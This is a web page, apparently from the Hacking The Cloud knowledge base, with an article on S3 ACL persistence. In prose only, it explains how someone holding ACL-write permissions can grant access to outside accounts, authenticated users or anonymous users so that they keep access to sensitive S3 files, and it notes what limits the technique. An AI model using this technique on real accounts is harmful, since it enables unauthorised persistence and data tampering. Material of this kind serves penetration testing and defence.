aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#requirements class=md-nav__link> <span class=md-ellipsis> Requirements </span> </a> </li> <li class=md-nav__item> <a href=#purpose class=md-nav__link> <span class=md-ellipsis> Purpose </span> </a> </li> <li class=md-nav__item> <a href=#background-on-sensitive-s3-use-cases class=md-nav__link> <span class=md-ellipsis> Background on Sensitive S3 Use Cases </span> </a> </li> <li class=md-nav__item> <a href=#technique class=md-nav__link> <span class=md-ellipsis> Technique </span> </a> </li> <li class=md-nav__item> <a href=#key-considerations class=md-nav__link> <span class=md-ellipsis> Key Considerations </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#requirements class=md-nav__link> <span class=md-ellipsis> Requirements </span> </a> </li> <li class=md-nav__item> <a href=#purpose class=md-nav__link> <span class=md-ellipsis> Purpose </span> </a> </li> <li class=md-nav__item> <a href=#background-on-sensitive-s3-use-cases class=md-nav__link> <span class=md-ellipsis> Background on Sensitive S3 Use Cases </span> </a> </li> <li class=md-nav__item> <a href=#technique class=md-nav__link> <span class=md-ellipsis> Technique </span> </a> </li> <li class=md-nav__item> <a href=#key-considerations class=md-nav__link> <span class=md-ellipsis> Key Considerations </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Wes Ladd</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/s3_acl_persistence.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>S3 File ACL Persistence</h1> <h3 id=requirements>Requirements<a class=headerlink href=#requirements title="Permanent link">&para;</a></h3> <p>For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.</p> <h3 id=purpose>Purpose<a class=headerlink href=#purpose title="Permanent link">&para;</a></h3> <p>When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs). </p> <h3 id=background-on-sensitive-s3-use-cases>Background on Sensitive S3 Use Cases<a class=headerlink href=#background-on-sensitive-s3-use-cases title="Permanent link">&para;</a></h3> <p>Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.) During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: <strong>S3 ACL Access Control</strong>. </p> <h3 id=technique>Technique<a class=headerlink href=#technique title="Permanent link">&para;</a></h3> <p><a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html>S3 ACL Access Control</a> is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.</p> <h3 id=key-considerations>Key Considerations<a class=headerlink href=#key-considerations title="Permanent link">&para;</a></h3> <ol> <li>Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique. It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as <a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html#access-control-block-public-access-policy-status>'public'</a>.</li> <li>ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the <a href=https://aws.amazon.com/blogs/aws/heads-up-amazon-s3-security-changes-are-coming-in-april-of-2023/ >default for all newly created buckets</a>. </li> </ol> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 26, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">April 12, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/bleemb class=md-author title=@bleemb> <img src="https://avatars.githubusercontent.com/u/47310908?v=4&size=72" alt=bleemb> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/righteousgambit class=md-author title=@righteousgambit> <img src="https://avatars.githubusercontent.com/u/35244835?v=4&size=72" alt=righteousgambit> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#requirements class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> S3 File ACL Persistence </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path 